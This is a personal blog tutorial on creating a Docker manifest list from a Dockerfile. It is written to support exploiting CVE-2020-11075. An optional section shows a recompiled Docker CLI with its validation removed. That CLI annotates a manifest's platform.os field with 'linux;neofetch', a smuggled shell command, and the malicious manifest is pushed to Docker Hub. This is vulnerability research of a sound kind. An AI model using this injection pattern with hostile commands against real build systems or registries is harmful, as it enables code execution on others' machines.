Description

In this blog post, in order to exploit CVE-2020-11075 (for more information about this vulnerability, please refer to my article on the topic), it is necessary to create a manifest list and modify its platform.os field in order to achieve shell injection. Therefore, I have written this tutorial as a reference.

This blog post details the process of generating a manifest list from a dockerfile.

Environments

  • Ubuntu 22.10 x86_64
  • Docker 24.0.4

Steps

Be careful to execute each step. After all, I don’t know whether I can reproduce it stably or not.
It is essential to maintain a clean workflow. If anything unusual occurs, it is advisable to restart the entire process.

Preparation

Here is the dockerfile. To demonstrate the manifest, we use the busybox it self to create a new image.

Prior to creating and editing a Dockerfile, it is recommended to place it in an empty and clean directory.

1
2
FROM busybox:latest
LABEL maintainer=LouisLiu

Before compiling images, be sure you have a dockerhub account and use docker login to login your account.

Compiling images

It may not be necessary to use cross-compilation to compile the image with ARM architecture on an x86 platform. Instead, you can simply use the --platform argument to compile it.

Here to compile images for two different

1
2
3
# Move to the directory where the Dockerfile is located
sudo docker build --push -t iridium191/manifest_test:amd64
sudo docker build --push --paltform=linux/arm -t iridium191/manifest_test:arm

Assuming everything goes smoothly, you should be able to see your repository on Docker Hub.

If you are using a machine with ARM architecture like Apple M1, please note that you should not use the --platform argument while compiling an ARM image.

Generating manifest

Prior to creating a manifest, ensure that the image name and tag do not already exist. If they do, you may need to use the --amend flag. However, it is uncertain whether this will execute smoothly.

Then create a manifest list(not a manifest which is for a single image):

1
2
sudo docker manifest create iridium191/manifest_test:mixed iridium191/manifest_test:amd64 iridium191/manifest_test:arm
# Created manifest list docker.io/iridium191/manifest_test:mixed

With the above command, a manifest list tagged with mixed will be created.

If the command returns an error message indicating that one of the images is a manifest list, try inspecting it. In some cases, if you use buildx or add unnecessary --platform flags, the Docker engine may create a ghost image with an unknown platform.os and platform.architecture.

Annotating a malicious shell(Optional)

Here, I attempted to modify the platform.os field of the manifest using the recompiled Docker CLI and pushed it to GitHub. This step was taken to exploit CVE-2020-11075. During the recompilation process, I commented out the code block responsible for the legality check of the `–os`` parameter in Docker CLI.
If not required, you may skip this chapter. However, if necessary, please proceed with caution and modify the command carefully to suit your specific needs.
During the operation process here, I utilized the recompiled Docker CLI located at ~/cli/build/docker.

Annotating the manifest:

1
2
sudo ~/cli/build/docker manifest annotate iridium191/manifest_test:mixed iridium191/manifest_test:amd64 --os "linux;neofetch"
# Neofetch is a command-line system information tool that displays information about your operating system, software, and hardware in a visually appealing way. To execute this command,

Then try inspecting it. You should be able to see that the platform.os field has been altered to a crafted string.

1
sudo ~/cli/build/docker manifest inspect iridium191/manifest_test:mixed

The manifest shows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
"manifests": [
{
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"size": 527,
"digest": "sha256:ff3a7dfa1675abda2fef94701a1d7001fa55cc38e5c510e3b7d40073ab970aa1",
"platform": {
"architecture": "amd64",
"os": "linux;neofetch"
}
},
{
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"size": 527,
"digest": "sha256:c46c2645b7ef08dda72e6139d1815dfd52328bf51189c3f85a5348fb50547dc7",
"platform": {
"architecture": "arm",
"os": "linux",
"variant": "v7"
}
}
]
}

Pushing the manifest to DockeHub

Then pushing it to DockerHub:

1
sudo ~/cli/build/docker manifest push iridium191/manifest_test:mixed

Assuming everything went smoothly, you should be able to see the tag on Docker Hub, which contains ARM and AMD64 options. However, please note that when inspecting this tag on another machine, you may see the unchanged malicious manifest. This suggests that Docker Hub may not thoroughly check this type of malicious manifest.

Resources

References